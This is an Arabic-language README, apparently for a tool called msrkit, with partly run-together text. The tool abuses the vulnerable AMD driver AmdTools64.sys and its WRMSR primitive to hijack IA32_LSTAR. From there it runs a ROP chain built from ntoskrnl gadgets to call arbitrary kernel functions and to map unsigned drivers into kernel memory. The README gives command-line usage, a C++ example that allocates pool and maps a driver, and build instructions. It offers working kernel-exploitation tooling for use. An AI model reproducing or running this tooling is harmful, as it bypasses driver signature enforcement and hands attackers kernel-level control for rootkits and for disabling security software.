
مفهوم استخدام سلسلة ROP مقترنة ببدائية WRMSR لاستدعاء دوال النواة وتعيين برامج تشغيل غير موقّعة عبر BYOVD (AmdTools64.sys)
أداة لاستدعاء دوال النواة ولتحميل التعريفات عبر سلسلة ROP من خلال بدائية wrmsr في تعريف مصاب بالثغرات (AmdTools64.sys).
AmdTools64.sys عبر NtLoadDriver (تتراجع إلى PnP devnode + واجهة جهاز قائمة على GUID إذا كان الرابط الرمزي غير متاح)IA32_LSTAR عبر IOCTL قراءة MSR الخاص بالتعريف (0xFFF02804)ntoskrnl.exe بحثًا عن أدوات ROP (pop rcx; ret، mov cr4, rcx; ret، wbinvd; ret، إلخ)IA32_LSTAR بأداة الدخول، وتمسح AC في FMASK، وتصدر syscallsysretqيتبع تحميل التعريف المسار نفسه: تخصيص مجمّع النواة عبر ExAllocatePoolWithTag، ونسخ صورة PE المُعدّة (مع تطبيق إعادة المواقع، وحل الاستيرادات، وترقيع ملف تعريف الارتباط الأمني)، واستدعاء نقطة الدخول المُحمّلة.
msrkit <driver.sys> call <ExportName> [args...]
msrkit <driver.sys> call_at <address> [args...]
msrkit <driver.sys> map <unsigned.sys> [entry args...]
msrkit <driver.sys> unmap <address>
call -- يحل ويستدعي تصديرًا مسمّى من ntoskrnl. تُحلّل الوسائط كأعداد صحيحة (ست عشرية مع بادئة 0x). يطبع القيمة المُرجعة.call_at -- يستدعي عنوانًا افتراضيًا عشوائيًا في النواة.map -- يحمّل تعريفًا غير موقّع إلى المجمّع غير المُصفّح ويستدعي نقطة دخوله (ExAllocatePoolWithTag). يطبع عنوان القاعدة المُحمّل.unmap -- يحرّر تعريفًا مُحمّلًا سابقًا عند عنوان القاعدة المُعطى.#include "msrkit.h"
#pragma comment(lib, "msrkit.lib")
int main()
{
MSRK::INIT(L"AmdTools64.sys");
void* mptr = MSRK::CALL("ExAllocatePool2", 0x40ULL, 0x1000, 'Ruri');
std::cout << "Memory allocate: " << mptr << std::endl;
auto mptr23 = MSRK::MAP("driver.sys", 123, 456);
std::cout << "Driver mapped: " << std::hex << (uintptr_t)mptr23 << "\n";
// raw call
std::vector<uint64_t>args = { 0x40ULL, 1024, 'Tagz' };
void* mptr24 = MSRK::M_FUNCTION::CALL("ExAllocatePool2", args.data(), args.size());
std::cout << "raw memory alloc : " << mptr24 << std::endl;
std::vector<uint64_t>args2 = { 123, 456 };
auto mptr25 = MSRK::M_DRIVERMAP::MAP( "driver.sys", args2.data(), args2.size() );
MSRK::UNMAP(mptr23);
MSRK::CLEANUP();
}
اختياريًا، مرّر مقبض تعريف موجود لتخطي التحميل:
MSRK::INIT("AmdTools64.sys", existing_handle);
يتطلب Visual Studio مع MSVC (v143+) وMASM (ml64.exe).
cmake -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
المخرجات: build/Release/msrkit.exe (CLI) وmsrkit.lib (مكتبة ثابتة).
CFG معطّل (/guard:cf-). ملفات تعريف الارتباط للمكدس (/GS) مفعّلة.